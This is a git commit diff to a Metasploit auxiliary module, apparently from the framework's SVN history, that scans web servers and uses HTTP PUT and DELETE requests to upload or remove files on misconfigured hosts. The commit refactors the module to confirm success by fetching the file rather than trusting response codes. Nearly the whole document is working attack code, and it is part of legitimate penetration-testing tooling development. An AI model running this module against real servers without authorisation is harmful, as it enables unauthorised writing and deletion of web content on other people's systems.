Checking response codes is a terrible way for HTTP modules. #5470.
git-svn-id: file:///home/svn/framework3/trunk@13759 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Wei Chen
parent
a1675bfbc6
commit
ec530955ce
|
|
@ -1,3 +1,7 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
|
@ -9,7 +13,6 @@ require 'msf/core'
|
|||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
|
@ -19,132 +22,171 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'Name' => 'HTTP Writable Path PUT/DELETE File Access',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module can abuse misconfigured web servers to
|
||||
upload and delete web content via PUT and DELETE HTTP
|
||||
requests. Set ACTION to either PUT or DELETE. PUT is the
|
||||
default.
|
||||
This module can abuse misconfigured web servers to upload and delete web content
|
||||
via PUT and DELETE HTTP requests. Set ACTION to either PUT or DELETE.
|
||||
|
||||
PUT is the default. If filename isn't specified, the module will generate a
|
||||
random string for you as a .txt file. If DELETE is used, a filename is required.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Kashif [at] compulife.com.pk', 'CG'
|
||||
'Kashif [at] compulife.com.pk',
|
||||
'CG',
|
||||
'sinn3r',
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '397'],
|
||||
],
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
['PUT'],
|
||||
['DELETE']
|
||||
],
|
||||
'DefaultAction' => 'PUT'
|
||||
'DefaultAction' => 'PUT'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [ true, "The path to attempt to write or delete", "/msf_http_put_test.txt"]),
|
||||
OptString.new('DATA', [ false, "The data to upload into the file", "msf test file"]),
|
||||
OptString.new('PATH', [true, "The path to attempt to write or delete", "/msf_http_put_test.txt"]),
|
||||
OptString.new('DATA', [false, "The data to upload into the file", "msf test file"]),
|
||||
OptString.new('ACTION', [true, "PUT or DELETE", "PUT"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
#
|
||||
# Send a normal HTTP request and see if our successfully uploaded or deleted a file.
|
||||
# If successful, return true, otherwise false.
|
||||
#
|
||||
def file_exists(path, data)
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => path,
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/plain',
|
||||
'data' => data,
|
||||
}, 20
|
||||
).to_s
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e.to_s}")
|
||||
return nil
|
||||
end
|
||||
|
||||
target_host = ip
|
||||
target_port = datastore['RPORT']
|
||||
return (res =~ /#{data}/) ? true : false
|
||||
end
|
||||
|
||||
#
|
||||
# Do a PUT request to the server. Function returns the HTTP response.
|
||||
#
|
||||
def do_put(path, data)
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => path,
|
||||
'method' => 'PUT',
|
||||
'ctype' => 'text/plain',
|
||||
'data' => data,
|
||||
}, 20
|
||||
)
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e.to_s}")
|
||||
return nil
|
||||
end
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
#
|
||||
# Do a DELETE request. Function returns the HTTP response.
|
||||
#
|
||||
def do_delete(path)
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => path,
|
||||
'method' => 'DELETE',
|
||||
'ctype' => 'text/html',
|
||||
}, 20
|
||||
)
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e.to_s}")
|
||||
return nil
|
||||
end
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
#
|
||||
# Main function for the module, duh!
|
||||
#
|
||||
def run_host(ip)
|
||||
path = datastore['PATH']
|
||||
data = datastore['DATA']
|
||||
|
||||
#Add "/" if necessary
|
||||
path = "/#{path}" if path[0,1] != '/'
|
||||
|
||||
case action.name
|
||||
when 'PUT'
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['PATH'],
|
||||
'method' => 'PUT',
|
||||
'ctype' => 'text/plain',
|
||||
'data' => datastore['DATA']
|
||||
}, 20)
|
||||
#Append filename if there isn't one
|
||||
if path !~ /(.+\.\w+)$/
|
||||
path << "#{Rex::Text.rand_text_alpha(5)}.txt"
|
||||
vprint_status("No filename specified. Using: #{path}")
|
||||
end
|
||||
|
||||
#Upload file
|
||||
res = do_put(path, data)
|
||||
vprint_status("Reply: #{res.code.to_s}")
|
||||
|
||||
if (res.nil?)
|
||||
print_error("No response for #{ip}:#{rport}")
|
||||
elsif (res and res.code >= 200 and res.code < 300)
|
||||
|
||||
#
|
||||
# Detect if file was really uploaded
|
||||
#
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['PATH'],
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/html'
|
||||
}, 20)
|
||||
|
||||
if (res.nil?)
|
||||
print_error("no response for #{ip}:#{rport}")
|
||||
elsif res and (res.code >= 200 and res.code <= 299)
|
||||
if res.body.include? datastore['DATA']
|
||||
print_good("Upload succeeded on #{ip}:#{rport}#{datastore['PATH']} [#{res.code}]")
|
||||
report_vuln(
|
||||
:host => target_host,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:sname => 'http',
|
||||
:name => self.fullname,
|
||||
:info => "PUT ENABLED",
|
||||
:refs => self.references,
|
||||
:exploited_at => Time.now.utc
|
||||
)
|
||||
end
|
||||
else
|
||||
print_error("Received a #{res.code} code, upload failed on #{ip}:#{rport}#{datastore['PATH']} [#{res.code} #{res.message}]")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
print_error "No connection"
|
||||
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
|
||||
print_error e.message
|
||||
end
|
||||
elsif(res.code == 302 or res.code == 301)
|
||||
print_status("Received #{res.code} Redirect to #{res.headers['Location']}")
|
||||
else
|
||||
print_error("Received #{res.code} code, upload failed on #{ip}:#{rport} #{datastore['PATH']} [#{res.code} #{res.message}]")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
#print_error "No connection"
|
||||
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
|
||||
print_error e.message
|
||||
#Check file
|
||||
if not res.nil? and file_exists(path, data)
|
||||
print_good("File uploaded: #{ip}:#{rport}#{path}")
|
||||
report_vuln(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => self.fullname,
|
||||
:info => "PUT Enabled",
|
||||
:refs => self.references,
|
||||
:exploited_at => Time.now.utc,
|
||||
)
|
||||
else
|
||||
print_error("File doesn't seem to exist. The upload probably failed.")
|
||||
end
|
||||
|
||||
when 'DELETE'
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['PATH'],
|
||||
'method' => 'DELETE'
|
||||
}, 10)
|
||||
#Check file before deleting
|
||||
if path !~ /(.+\.\w+)$/
|
||||
print_error("You must supply a filename")
|
||||
return
|
||||
elsif not file_exists(path, data)
|
||||
print_error("File is already gone. Will not continue DELETE")
|
||||
return
|
||||
end
|
||||
|
||||
return if not res
|
||||
if (res and res.code >= 200 and res.code < 300)
|
||||
print_good("Delete succeeded on #{ip}:#{rport}#{datastore['PATH']} [#{res.code}]")
|
||||
#Delete our file
|
||||
res = do_delete(path)
|
||||
print_status("Reply: #{res.code.to_s}")
|
||||
|
||||
report_vuln(
|
||||
:host => target_host,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:sname => 'http',
|
||||
:name => self.fullname,
|
||||
:info => "DELETE ENABLED",
|
||||
:refs => self.references,
|
||||
:exploited_at => Time.now.utc
|
||||
)
|
||||
|
||||
else
|
||||
print_error("Delete failed #{ip}:#{rport} [#{res.code} #{res.message}]")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
#print_error "No connection"
|
||||
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
|
||||
print_error e.message
|
||||
#Check if DELETE was successful
|
||||
if res.nil? or file_exists(path, data)
|
||||
print_error("DELETE failed. File is still there.")
|
||||
else
|
||||
print_good("File deleted: #{ip}:#{rport}#{path}")
|
||||
report_vuln(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:sname => 'http',
|
||||
:name => self.fullname,
|
||||
:info => "DELETE ENABLED",
|
||||
:refs => self.references,
|
||||
:exploited_at => Time.now.utc
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue